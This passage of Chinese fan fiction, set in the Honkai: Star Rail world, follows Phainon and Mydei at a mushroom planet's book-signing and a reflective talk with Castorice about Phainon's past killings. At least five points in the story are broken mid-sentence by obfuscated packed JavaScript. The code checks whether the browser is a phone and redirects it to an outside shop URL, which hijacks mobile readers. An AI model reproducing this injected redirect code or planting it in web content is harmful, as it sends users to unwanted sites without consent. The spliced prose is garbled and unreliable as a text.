“真不符合他的风格,”万敌评价,“我和他喝过几次酒,这人性格还不错,只不过我记得他对公司的货物好像都是直接抢,很少做这些小偷小摸的事。” 主要是当时他也许打不过我。白厄想,但这话实在没必要和万敌说,他想了想,又想起了些什么。 “你来当巡海游侠了,悬锋城怎么办?”他终于想起究竟哪里不对,对面这位家里可是真的有个王位要继承。 “没什么事,我母亲成为了悬锋城的新王。”万敌说,“升格结束的时候,她把欧利庞捅了个对穿,”提及此事,他面无表情,“而后,她拿过了悬锋的冠冕,宣布悬锋城的一切事务由她代管,现如今,悬锋城的内部已经达成共识,新生的翁法罗斯不需也不能同室操戈,故而我们暂时与那位奥赫玛的暴君达成了协议,集中一切力量应对外部势力——至于我们之间的其他矛盾,那是解决外部矛盾之后才需要解决的问题。” “共识……恐怕没那么好达成吧。”白厄缓缓地说。 毕竟再怎么说,白厄也曾是逐火之旅的领袖,万敌说的轻描淡写,但白厄无法忽视他话中的血腥杀伐之气,悬锋城好武好斗,想让悬锋城与刻律德菈达成协议,万敌的母亲,那位英勇的歌耳戈女士,所要面对的阻力恐怕不会小。 闻言,万敌却是一笑。 “如果你要说的是来自民众的阻力的话,那倒是比你想得简单不少……和你不一样,救世主。对于我们中的大多数人来说,三千万世的记忆虽然只是浮光掠影般的惊鸿一瞥,”万敌边走边说,“可当你的脑子里突然出现形形色色的、纷繁复杂的、相似却不同的、碎片般的记忆的时候,你会觉得那是什么?” “我……” “即使是相同的人的一生的记忆,塞入同一个人的脑子里,也容易让人发疯,何况那么多世,即使只是碎片,也够折磨人。升格刚刚开始时,昏光庭院的病人简直络绎不绝,好在在神悟树庭的帮助下,人们逐渐更多地将之当成某种预言,以那位阿那克萨戈拉斯老师为首,神悟树庭的学者进行了几次集中性演说,人们越来越相信这只是某种可怕但可以改写的群体性预言,而他们为了对抗这个预言,同样愿意贡献自己的一份力量。” “你是说……你们将过去,修改成了未来?” “我承认这并不是什么光彩的手段,只是无奈之举,”万敌说,“但别小看他们,大多数民众在面对群体性危机的时候,都会选择团结在一起,拧成一股结——何况一切并非全然的谎言。救世主,完全未知的宇宙,对于现在的翁法罗斯而言,又何尝不是另一种温和的黑潮?” “各部掌权者之间心存共识,刻律德菈与我们之间又达成微妙的平衡,对于现在的翁法罗斯而言,宇宙并不全然友好,这也正是我和大多数黄金裔们选择离开翁法罗斯的原因——我们总要知道宇宙的真实面貌,而后才能做出应对。” “我能做什么吗?”白厄问道。 “做你想做的事就好,白厄。”万敌说,“翁法罗斯不是你一个人的翁法罗斯,你现在最该做的事,就是收起你总是试图一个人拯救世界的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119701|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傲慢。” “抱歉,我的本意……并非如此。” “嗯,我知道。”万敌轻轻地说。 “还记得我刚刚说的吗?浮光掠影般的记忆尚且能让普通人近乎发疯,让昏光庭院人满为患,倘若刻法勒永志不忘,那些记忆又会在你的人格上留下多少划痕?救世主?” 白厄突然停了下来。 “我没……” “你闭嘴。” 万敌深吸了一口气,闭了闭眼睛,他三步并作两步,走到白厄身前。 “我没有责备你的意思,白厄,没有人能够真正和你感同身受,刻法勒永志不忘是沉重的负担,但即使我这么说,你也依然会记得那些痛苦的细节,记得三千万世中翁法罗斯的一切,因为这是你为自己选择的道路,所以我没什么可说的,就像我祝福你常战常胜一样,时至今日,我也同样只会祝福你找到自己的道路,可救世主的生命中,救世是唯一的道路,但白厄的人生,应该有更多的选择。” “所以做你想做的事就好,翁法罗斯实在不该脆弱到失去了谁就无法生存。比如现在,去参加一场文化节或者签售会,去做一些无所事事的事,都是你应该做的事情。” “我……” 他刚想说些什么,听到后面有人呼喊。 “万敌阁下!” “交友广泛啊,”白厄瞬间收起了他复杂的情绪,转而调侃道,但他莫名又觉得这声音有点耳熟,“这地方你还有熟蘑——认识的蘑菇?” “白厄阁下!”那个声音又喊道。 好,白厄了然,估计不是认识的蘑菇,能同时认识他们俩的,八成是翁法罗斯的老熟人,他一回头,看到紫发的少女正在向他们挥手——还真是个熟人,但其实也没那么熟。 “波吕茜亚。”他打了个招呼。 “真巧,”他又试图找话题,“在这里也能遇到你。” “不巧。”波吕茜亚摇了摇头,她相当直白,“我和姐姐是特意来找你的,白厄阁下,倒是能遇见万敌阁下,属实很巧。” “不巧,我也是来找他的。”万敌同样摇头。 “姐姐一听到有你的消息就赶过来了——当然,刚巧她在这里也有一场签售会,一会儿她就会来。” “那她……?” “哦,她搬书去了。”波吕茜亚说。 “要是等会场的蘑菇们搬的话,估计要等到天黑。” “……萨玛兰妲真的不考虑……给她的蘑菇们配点运输装置吗?” 思考了半晌,白厄还是忍不住说道。 41. 特定人凑在一起 对于货运舰搬运工白厄来说,重操旧业,不外乎如是。 按照波吕茜亚指明的方向,白厄和万敌很快找到了在仓库里搬书的遐蝶,和她身边的,背影格外眼熟的蘑菇。 “遐蝶小姐,还有……萘叙?”他试探着开口,又相当自然地走上前去,接过了遐蝶手中的几本书,帮忙放在了一旁的小货运车上。 波提欧说得对,人生何处不认识,遐蝶姑且不谈,白厄初来乍到,在方跃星上总共认识了两株有名有姓的蘑菇,一株是那位萨玛兰妲,另一位就是这位社恐对接蘑萘叙。 遐蝶刚刚抬头,萘叙便小声地叫了一声,缩得无影无踪。 白厄:“……” “我有那么吓人……不对,吓蘑吗?”他无奈地说。 万敌在他身边冷哼了一声。 遐蝶搬书搬到一半,突然听到有人叫她,自己的帮手跑得无影无踪,倒是有另外的人随手把自己手中的东西接了过去,瞧见是白厄和万敌的时候,她松了口气。 “白厄阁下,万敌阁下。”她打了个招呼,相当自然——自然得仿佛白厄和万敌本就该在这里,“感谢,能搭把手吗?” 看上去暂时没时间给他们叙旧,白厄和万敌来到这里的目的也正是看看能不能给遐蝶帮把手,但白厄想起被自己一声招呼吓得无影无踪的萘叙,或多或少还是有点心虚。 “萘叙她……没关系吗?”边帮忙搬动着那堆书,他边试探着问道。 “没关系,白厄阁下,”遐蝶轻轻地说,“她只是有点不知道怎么处理和陌生人之间的关系……我们刚刚认识的时候,她也总会时不时地躲起来……这样会让她舒服一点,好,这些是我的,这些是萘叙的,麻烦两位阁下和我一同搬运出去,一会儿的签售会上也许用得上。” “这位可是翁法罗斯的知名作家。”万敌边搬边说。 遐蝶的脸便不甚明显地红了红。 “万敌阁下,我……” 万敌见好就收,似乎看出了遐蝶的害羞,他没再多说什么,白厄在一旁看着,只觉得现在的遐蝶估计很羡慕萘叙,起码想钻地就能钻真的是个方便的技能。不过搬着搬着,他总觉得有点不对,他向身后一看,只见密密麻麻的书已经堆成了小山。 “这些……都是要在这次签售会上卖的?” 他目瞪口呆。 “没错。”遐蝶相当认真地点了点头,“卖之前还有签字环节,不过有一半是萘叙的,她签字很快。” ……我就说蘑菇签字比人类快,白厄想,他又想着一株蘑菇用触须拿起几十根笔笔走龙蛇,莫名地有点想笑,一看这个数量,又觉得万敌那句“知名作家”属实所言非虚。 “感谢你们帮忙……”地面突然冒出了小小的声音。 “如果你们不介意的话……也可以拿几本走……算是我的小礼物……” 那个小小的声音又说。 “萘叙,”遐蝶轻轻安抚,“没关系的,他们都是我的朋友,不会伤害你……唔,也不会被你伤害,他们都是很厉害的人。” “真……真的吗?” 每当地面冒出一个小小的鼓包,白厄就知道这里要长出一株蘑菇,万敌同样见过蘑菇来找白厄的场景,于是在三人的目光中,萘叙慢慢地探出了她的菌盖,又使劲紧了紧她的帽子。 “我……我不是……我不是讨厌你们……”萘叙小声说。 “但是……但是我是……我是毒蘑菇。” 果然如此,白厄了然,他起先只觉得萘叙的害羞实在不同寻常,但在对方坦陈它是株毒蘑菇后,一切反而得到了解释,他看了一眼对方身上的菌环和菌托,似乎确实和那天的带路蘑菇有点不同,他看了看遐蝶,又看了看萘叙,对于这一人一蘑到底怎么交为好友有了点隐约的猜测。 “没关系的。”白厄温声说。 相比较而言,蘑菇确实是比人类单纯得多的物种,白厄一句安慰下去,萘叙果然从帽子下探出小小的脑袋,她左右看了看,又很小心地小声说,“那你们要小心一点哦,不要碰到我。” 现在由白厄和万敌帮忙把这堆几乎高耸入云的书搬出去,遐蝶和萘叙想搭把手,被白厄和万敌摇摇头阻止,两人在陌生的星球上突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119702|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然又起了小孩子的玩心,他们把这些书一分为二,喊着“看谁先送到场地”便冲了出去,遐蝶和萘叙目瞪口呆地看着翁法罗斯曾经的两位半神喊着“谁会输给你啊”便冲了出去,萘叙在身后用尽蘑身力量呼喊。 “要小心,不要撞到蘑!” 不要撞到蘑对他们来说的确小事一桩,可蘑菇们好奇的眼神却不是他们能控制得住的,两人跑得飞快,身后冒出密密麻麻的小蘑菇脑袋。 “你看,人类确实好方便。”一个蘑小声说。 “要是我们这么跑会扯断根须。”另一个蘑小声说。 “但是他们超速了吧?”有个蘑小声问。 “笨!”另一个蘑菇使劲摇摇头,“超速是对交通工具的,人类不算交通工具。” “可我怎么觉得他们跑的比咱们的交通工具还快啊。”刚刚说话的蘑菇小声道。 遐蝶:“……” 萘叙:“……” “遐蝶,”许久之后,萘叙犹豫了半天,还是说道,“你说……他们这算违反交通规则吗?” “算……不算吧……”遐蝶犹豫了一下,还是选择包容了自己玩心大起的朋友们,“毕竟……人类不算交通工具……命途行者也不算吧……” 萘叙犹豫着,沉默着看向远方,她又左看看右看看,看到一众菇惊讶里混着羡慕的表情,她顿时骄傲地挺了挺胸膛,又很快一溜烟地钻到了地里。 留在原地的遐蝶:“……” 抱歉,白厄阁下,万敌阁下,遐蝶默默地想。 但我现在也有点想学习钻地了。 好在这一切只是个无足轻重的小插曲,在白厄和万敌的“你跑的太慢了”“明明是我先到的”的小学生吵架中,遐蝶默默地跟了上去,又默默地捂住了波吕茜亚的耳朵。 “姐姐?”波吕茜亚疑惑,“你不是和我讲过白厄阁下和万敌阁下的英勇事迹,他们原来……” “没事,波吕茜亚。”遐蝶轻描淡写地说,又把妹妹的耳朵和眼睛使劲捂了捂。 “总有些人凑在一起的时候会有年龄满减的。”她又说。 42. 《榛蘑传》 知名作家遐蝶的确名不虚传。 多年之后,面对翁法罗斯连绵的群山,白厄将会回想起和万敌一起见识方跃星上如小山般堆积的出版物的那个下午,那时方跃星的雨刚停不久,蘑菇们湿漉漉地排队入场,萘绪和遐蝶在他们身边笔走龙蛇。签售会的规模不小,但大家还算守规矩,蘑菇们排成长龙,队伍里的每个蘑菇都下意识地紧了紧自己的帽子,四五个系统时内,白厄和万敌只重复了同一个动作。 递书。 之所以没有收钱,是因为事情好就好在蘑菇们虽说运输手段原始,但收款的手段相当先进,蘑菇们在怪模怪样的机器前站定,点一点头,他们的资金就会从自己的腰包转移,换回某种精神食粮,波吕茜亚在现场高高兴兴地到处乱转,没一会儿,她也抱着小山般的书走了回来。 “《榛蘑传》?”万敌在递书的间隙疑惑地打开了那本书。 ……听上去还挺适合炖鸡的,白厄莫名地想,但他憋了又憋,实在什么都不敢说,他瞥了一眼万敌手上的书,只见书里那几行字字字泣血,声嘶力竭。 “我那时抱着我的儿子,想走到阎罗殿里求地母神赐福,如果真的一定要死,为什么死的不能是我,而是我的孩子呢?” “其实这本书我看过,但我不太理解,”萘叙在签字的间隙瞥了一眼万敌手中的书,她的声音在帽子下若隐若现,“为什么她的孩子会先于她死去?” “为什么不会?”白厄奇怪,“难道在方跃星上,死亡是件有顺序的事情吗?” “是呀,”萘叙理所当然地说,“只要我们的记忆储备不达到上限,我们就不会失去意识,而只要我们不失去意识,那么纵使□□自溶,我们也不过是将意识从一颗孢子里转换到另一颗孢子里,。只有当记忆储备彻底用完,我们才会回归妈妈的怀抱……人类的死亡概念对于我们来说,不过是按部就班的排队等待……所有人都要回到地母神的怀抱中,区别只是早晚。” “我听说最初的最初,”有蘑菇在旁边随口插话,“即使记忆储备到达上限也不会死,只是会浑浑噩噩地到处游荡……这是很久很久之前的事了,然后有一天,那些浑浑噩噩的蘑菇们突然消失了,他们都回到了妈妈的怀抱里。” 蘑菇群乱七八糟,蘑菇们有增无减,萘叙的十几根根须拿着笔,签字签得龙飞凤舞,即使碍于自己是颗毒蘑菇的原因,她坐得远离众人,但丝毫不妨碍她摊位前的火爆,现在连波吕茜亚都过来帮忙,白厄也好奇地看了一眼萘叙的创作。 《命运.蘑菇奇谭》。 “是关于蘑菇们向天外存在祈愿的故事,”萘叙主动介绍——不得不说,她在签售会现场比起她对接公司相关业务的时候要热情不少,这可比上班有意思不少——“起先,有难以言喻的危害降临在方跃星,蘑菇们想要拯救这颗星球,于是他们向天外祈愿,而很快,他们的祈祷得到了回应,天外的力量抱持着各种各样的善意或是恶意参与进蘑菇的斗争之中……” “最后呢?”白厄随口问。 “最后有个蘑菇召唤了地母神的幻影,而那个幻影一巴掌扇飞了所有不属于方跃星的力量,拯救了方跃星,并告诫所有蘑菇幸福需要自己创造。”萘叙说,“不要相信来自天外的力量,除了我们自己之外,谁也没法拯救我们自己。” 白厄听得目瞪口呆。 “这还真是个……跌宕起伏的故事。”他委婉地说,但他思考片刻,又有些疑惑。 “可依靠地母神的力量,与依靠天外的力量,其本质不都是将自身的命运……假手他人?” “不一样的,”萘叙说,“蘑菇们能制造出地母神的幻影,自然也能控制它,也许地母神真的寄宿在这个幻影之中,但她默许了这些制造她的蘑菇的一切行动——因为制造出一个能够一巴掌拍飞所有天外力量的地母神幻影,本身已经说明了他们拥有将自己的命运抓在手中的勇气与能力。” 白厄又想了想,总觉得不管是向虚无缥缈的天外来客祈愿抑或是转而寻找地母神的幻影,都似乎带着点用尽手段后的绝望——但把命运抓在自己手中又或多或少有点希望的味道,这故事听上去还挺有趣,连带着白厄也起了兴趣,但他的兴趣很快被淹没在无穷无尽的蘑菇堆中。好在六个系统时后,签售会终于结束,萘叙带着手套小心翼翼地拉着遐蝶,又招呼着白厄、万敌和波吕茜亚,非要找个地方去庆祝一下这次的圆满成功。 几分钟后,几人出现在附近的小树屋里,萘叙倒是挺热情,她轻车熟路地叫了几瓶看不清颜色的液体,并相当热情地招呼她新的人类朋友尝一尝。 “这是方跃星的特产,”萘叙热情地说,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119703|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很好喝的。” 白厄一激灵,很快想到了他在阿特拉斯的悲惨经历,自从那次之后,他谨记那刻夏老师的忠告,对一切星球特色饮品敬谢不敏,萘叙递给他的时候,他使劲摇摇头。 “不了,谢谢。”他心有余悸,“我对这些特产有点……过敏。” “哦,好吧,”萘叙有点失望地点了点帽子,又热情地招呼起遐蝶姐妹和万敌,其他几人倒没什么顾虑,万敌一饮而尽的时候,甚至还有点得意地看了看他,不用说白厄也知道他在想什么——一定是“我敢喝,救世主却不敢喝,又是我赢了”。 小学生吵架斗气无止无尽,白厄看着身边的遐蝶和波吕茜亚,却莫名有点心虚,此前的签售会上实在太忙,谁也没想太多,但当一切完全结束,白厄又不知道遐蝶对自己究竟抱持着什么样的态度,当他从萨玛兰妲那里拿回“自己”的时候,一些模糊的往日记忆同样在脑海中复苏,当他望过去的时候,遐蝶察觉到了他的眼神。 “我有些话想对您说,白厄阁下。”她突然开口,表情相当平静。 “遐蝶……”万敌皱了皱眉,似乎料想到了接下来的谈话内容,他试图说些什么,但遐蝶打断了他的话。 “万敌阁下,抱歉,但这是我和白厄阁下之间的事,”她看着白厄,表情是罕见的坚定,“白厄阁下,请随我来。” 白厄看了万敌一眼,同样摇了摇头。 黄金裔的态度只代表他们自己,也正因此,倘若遐蝶真的对他心存不满,万敌的劝阻无疑会火上浇油,有的事只能自己面对,白厄也从不觉得自己能够通过逃避和同伴的宽容解决一切,他放下手中的餐叉,顺从地跟在遐蝶身后。 “姐姐?”波吕茜亚疑惑。 “没事,”遐蝶温和地对妹妹笑了笑,“在这里稍微等我们一下,我们很快就会回来。” “你……”万敌犹豫着,似乎在思考要不要跟上去。 “没事。”白厄比了个口型说道。 他已经决意面对遐蝶的怒火,无论是失望的眼神,抑或是冷淡的嘲弄,又或者是愤怒的攻击,他都觉得罪有应得,但遐蝶将他拉到一处僻静的地方站定,而后仰头看着他,开口的第一句却并非责骂与惩罚,而是简单的疑问。 她轻声开口问道,白厄阁下,这几年来,您还好吗? 43. 小饮料梅花三弄 倘若再纠结于加害者和受害者的关系,白厄倒觉得有些对不起自己的伙伴,可他望向遐蝶时,思考半晌,还是认真地先说了句抱歉。 其实他的抱歉应该和很多人说,精神状态逐渐有所好转的白厄有时候也在想,他躲在外面做胆小鬼不敢去面对一切时,三千万世以来被自己手刃的同伴们却一个接一个地、捉迷藏似的找到自己、安慰自己,这又算什么呢?加害者在三千万世的加害之后仍然恬不知耻地索取同伴的精神价值吗?遐蝶似乎看出了白厄的想法,她走上前来,轻轻地握住了白厄的手,旋即又很快放开。 “您看,白厄阁下,”她说,“现在我已经能触碰到大家了,我和您的指尖终于都是真实的、属于生者的温度……生的气息触摸着我和波吕茜亚,所以即便是曾经不得不远离大家的我,现在也能来到不算遥远的星系,做自己想做的事,认识来自其他星球的、形形色色的朋友们。” “但我想说的,并非只有这些,白厄阁下。”遐蝶说,“事实上,我在生气。” “……那么我该做些什么?遐蝶?只要我能做到。”白厄看向她,认真地问道。 在黄金裔之中,遐蝶算不上最直白的那位,可她从不拐弯抹角,她,或者说黄金裔们,大多数时候算得上有话直说,遐蝶既然如此平静地表达了自己的愤怒,她就一定会告诉自己需要做些什么。 “白厄阁下,”遐蝶沉默片刻,开口发问,她仍然平静温和,问出的问题却宛如惊雷贯耳,“您是否还记得第一次手刃同伴的感觉?” 白厄愣了一下。 他记得,他当然记得,人类是脆弱的生物,半神同样不能免俗,第一次动手时他尚有犹疑,可当剑刺穿昔涟的胸口时,首先是些微可察的阻力,但刺下去不会耗费太多力气,而后剑身一抽,便能看见满眼的、刺目的金黄,当他第一次杀死昔涟时,火种尚未将他灼烧成看不清面目的模样,来古士在他的面前挂着僵硬的笑容,他的面前是倒在他的剑下的昔涟,他走上前去,她倒在地上,再无声息,而他默然阖眼,深知他已无法回头。 此后的轮回仿佛无休无止的噩梦的循环,从最初杀死昔涟,而后到逐渐杀死大部分黄金裔夺取他们的火种,他一直记得生命在他的剑尖流逝的感觉––他每掠夺一个人的生命,就会绝望地意识到一个个体在这个世界中被永远抹去,纵使还有下个轮回,可人类不是蘑菇,没法将过往的记忆尽数塞入新的壳子里,死去的人就是死去了,下一个轮回的他们终究不再是他们。 “……记得。”他闭了闭眼,干涩地说。 喉间泛起苦意,刻法勒永志不忘并非一句轻佻的戏言,那是他珍而重之的承诺,即使被火种烧得面目全非,即使几乎丧失神智,即使后期记忆已经是全然模糊的影子,他仍然能清楚地记得每一次杀死同伴的感受,那些或是怨怼或是劝阻的言语,那些湿滑的、粘腻的金色液体的触感,鼻尖浓郁的腥气几乎令他作呕,他时常会想为什么死去的不是自己,又想着他的同伴们终将等到翁法罗斯的黎明——他仍然记得,他一直记得。 遐蝶叹了口气,再次走上前来。 “您不是仍然记得吗?白厄阁下。那便无需抱歉。您仍然记得那些在您的手中逝去的生命,您没有把他们的死亡当作必要的牺牲,您所做的一切也确实拯救了翁法罗斯,大家又真的在更遥远的西风尽头重逢,既然如此,我那些微不足道的愤怒,也便可以平息。” “其实我只是想说,死与生同样贵重,白厄阁下,我们都知道逐火是不断失却的旅途,当我们踏上逐火之旅时,就已经将自己的生命置之度外,但我们的牺牲是一回事,我们的牺牲是否有重量又是另一回事。我和波吕茜亚行过死荫的幽谷而重返世间,自会把生命当做最宝贵的珍藏。而在这一点上,我很担心您。”她又说,“我担心您会为了达成目的而漠视一切生命——包括您自己的,我担心您会将同伴的性命视作全然的阻碍而非理念不合的各为其道,您既然仍然记得那一次、乃至更多时候的感觉,那么我请求您,不要忘记它。” “……刻法勒永志不忘。”许久,他才艰涩地说。 “不,这不一样,我并非希望刻法勒永志不忘成为现在的您的负担,白厄阁下。”遐蝶回头遥望着方跃星的万千灯火,白厄顺着她的目光扭头看去,蘑菇们的灯光大多数泛着红色或鲜艳的暖橙,在附近汇成星星点点的荧光。 “我只是想说,请您像尊重生一样尊重死,请您像铭刻死一样铭记生,过去的一切终究已经过去,白厄阁下,那不过是特殊状况下的无奈之举,而时至升格成功的今日,您的性命与所有人的性命都应当得到您的尊重,而倘或有一天,您仍然踏上与之前相同的道路……” 她略微沉吟,“我仍然会站在您的对立面,白厄阁下。” “……谢谢。”白厄沉默了一会儿,说道。 “如果有一天,我真的成为再次不择手段的杀人狂、刽子手,请你和大家一定、务必站在我的对立面,阻止我,或者杀死我,遐蝶。”他说,“我同样惧怕我会在主动或被动的、长久的杀戮中丧失理智……真实的宇宙间可不会存在轮回。” “没有再次,”遐蝶认真地纠正,“您从来不是不择手段的杀人狂与刽子手,白厄阁下,虽然我之前的话也许有些重,但在此之前,无需您一个人背负与承担,我们都会在您身侧——” 她终于展颜一笑,风吹起她的发丝,也吹来了苔藓的味道,雨短暂地停了下来,空气中有潮湿的清香,她的话也顺着风飞得很远很远,不知有没有惊醒某只蘑菇的梦,“毕竟,翁法罗斯,可是大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没什么事,”他状似轻松地说,不露痕迹地擦了擦额头上的冷汗,“我回去歇一歇就好,只是想起了一些……不那么愉快的往事。” 遐蝶忧心忡忡地点了点头,却没再多说什么,但当他们再次回到小树屋时,发现万敌已经趴在了桌子上。 这是怎么回事? 短暂地思考后,白厄敬佩又震惊地看向坐在一边的萘叙和波吕茜亚。 “这是醉了?”他问,又戳了戳趴在桌上的兄弟,后者看上去睡得极沉,一时半会根本没有醒来的迹象。 “这是睡了,”萘叙无奈地说,“稀里哗啦汁好像不太适合部分人类的体质……明明我们喝起来没什么事的。” 白厄:“……” 旧日重现,我就知道外星小饮料不能随便喝。他想。 44. 降本增效 戳了戳,兄弟没动。 又戳了戳,兄弟还是没动。 再戳一戳,万敌茫然抬头,发出一声疑问的“啊?” 在场的其他人都松了口气。 “还好,”白厄说,他被切切实实地吓了一跳,突然间隐约理解了那刻夏老师那时的心情,“我还以为要送你去医院……话说蘑菇的医院能治疗人类吗?” “医院……啊,医疗所,”萘绪忙不迭地点了点头,“可以的,我们这里有异种诊疗科,只不过可能只能做出一些初步的判断,如果是对于人类的话,具体的医疗诊断还是需要转移到其他星球……” “没事,”万敌摇了摇头,很快完全清醒过来,“你们聊完了?”他问白厄和遐蝶。 “嗯,聊完了。”白厄说,他想起清晨万敌湿漉漉的样子,想起他今天一天似乎也累得不轻,突然有点愧疚,遐蝶似乎也看出了什么,一行人很快向萘绪道了个别,打算回去歇一歇。 “哦,对不起!”遐蝶开口道别时,萘绪才如梦初醒,她听上去相当抱歉,“人类的夜晚好像是需要睡觉的,抱歉,我把这件事忘了。” “你们不需要睡觉吗?”波吕茜亚奇怪地问。 “我们中的大多数都不需要啦,”萘绪说,“只要在外面待一会就好,连睡觉这个词都是听我们的人类朋友说的……不过妈妈好像会睡觉,她和我们不太一样。” “妈妈?”波吕茜亚好奇,“是萘绪的妈妈吗?” “不是的,在方跃星上,妈妈是一个专属名词,”萘绪说,“妈妈是我们的地母神,仁厚慈爱的地母神总会为我们指引前路。” 说到这句话的时候,她的表情突然变得无比虔诚。 “愿地母神赐福于你。” 公司的情报似乎有点错误,白厄想,他刚刚来到方跃星时,格莱曾说方跃星信仰的“大地之母”其实是丰饶星神,但现在看来,他们的情报似乎不算准确——也许只是公司在探索方跃星时,偶尔从几株蘑菇口中得知了他们的信仰,便随意将蘑菇们所信仰的神明归为丰饶星神。但这似乎也说明了个问题——萨玛兰妲应该很久未曾现于人前,又或者她以某种孢子掩盖了自身的存在。 但这事情无关紧要,白厄委婉地表示需不需要自己背万敌回到住处,收获了来自万敌的一声冷笑,两人之间气氛又奇怪地开始剑拔弩张,遐蝶再次捂住了妹妹的眼睛,不过好在两人或多或少仍有分寸,半晌,也只是相互冷笑了一声,便别过了头。 “我早晚要堂堂正正地揍你一顿。”万敌说。 “口气真大,”白厄说,“谁揍谁可不好说。” “但是现在时间已经很晚了。”遐蝶温和地尝试劝架,“两位阁下还是早些休息为好……总之,得知白厄阁下没事,我放心了许多。” “是呀是呀,放心了吧,”萘绪使劲点了点头,“不过小蝶你真快呀,好像我才刚告诉小蝶,小蝶就跃迁过来了。” “那边的事情一结束姐姐就抓着我跃迁过来啦,”波吕茜亚说,“我们还在凯特拉中转了一下,耽误了一点时间……毕竟方跃星不是中转站嘛。” 遐蝶点了点头,她没多说什么,只是看了一下时间,和蹦蹦跳跳的萘绪告别后,他们在附近找了个地方暂时歇息,白厄打开手机,和格莱告了个假。 【白厄】:舰长,我今晚可能晚点回去,在这里遇到了很多朋友。 格莱的回复很快。 【舰长-格莱】:朋友?人类还是蘑菇?你已经交到蘑菇朋友了? 【白厄】:是人类。 【舰长-格莱】:哦,没事,小伙子,现在是你的自由活动时间,货运舰护卫主要的工作职责是在穿行在星际航道间时扫除威胁,抵达目标星球之后你就可以有自由活动时间,不用向我报备——啊,如果你要在这期间离开星球的话,和我说一下就好,你签的合同很宽松。 【舰长-格莱】:交朋友是件好事。 【白厄】:谢谢您,我可能过两天需要去一趟仙舟,我会在驻留时间内回来。 【舰长-格莱】:去吧,但是还是要记得时间,你毕竟是临时员工,公司没有录入你的信息,你要是正式员工的话,恐怕就没这么自由了……毕竟公司的正式员工需要走流程,哈哈。 【舰长-格莱】:总之,本职工作之内,你随意。 【白厄】:谢谢。 “请完假了?”万敌抱臂挑眉,坐在一旁看着他。 “嗯,请完了。”白厄说。 “……他们给你开多少工资?”万敌忍了又忍,还是没忍住问道。 其实底薪不太高,白厄报出那个数字,万敌的眉头狠狠地跳了跳,他抬头看了一眼白厄,思虑半晌,似乎在考虑到底该怎么说才能不戳中穷苦兄弟的自尊心。 “要不……你来悬锋城吧?”他斟酌着说道,“也不用做什么,每个月我可以给你开十倍工资。” 悬锋王储财大气粗,白厄好大声地“嚯”了一声,啧啧称奇。 “没关系,”他说,“阿格莱雅之前给我塞了不少钱。” 何止不少钱,简直是一笔天降巨款,虽说白厄那时刚刚醒来,心里尚且有点顾虑与抱歉,但当他要把钱塞回给转交的开拓者的时候,却被对方一句“你要是不收我就是贪污我可不想被阿格莱雅绑金丝”的调侃狠狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119705|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地噎了回去,但他其实也没花,总觉得实在不好意思花阿格莱雅的钱,结果前两天那刻夏老师出发去勾陈星系开会,当他送别老师后,又在自己的房间里找出了一包钱。白厄立刻问老师是不是把什么东西落在了自己的房间里,他得到的只有那刻夏长久的沉默,和沉默之后一句冷酷的“拿去花”,白厄数了数数额,不多不少,刚好比阿格莱雅塞给他的多一点。 ……这种事情上也要做比较吗,那刻夏老师? 虽说这些钱他确实没打算花,但实际上他不算缺钱,他跟随舰队行走的理由也并不是为了工资,而只是胆小鬼的逃避,现在可能还要加上试图了解公司的谋算到底是什么,于是白厄使劲摇了摇头,对悬锋王储试图以金钱腐化他的行为表达了深深的谴责,换来的只有万敌的一声笑声。 “随便你,”万敌说,“但这是份长期有效的邀请。” “……谢谢。”白厄说。 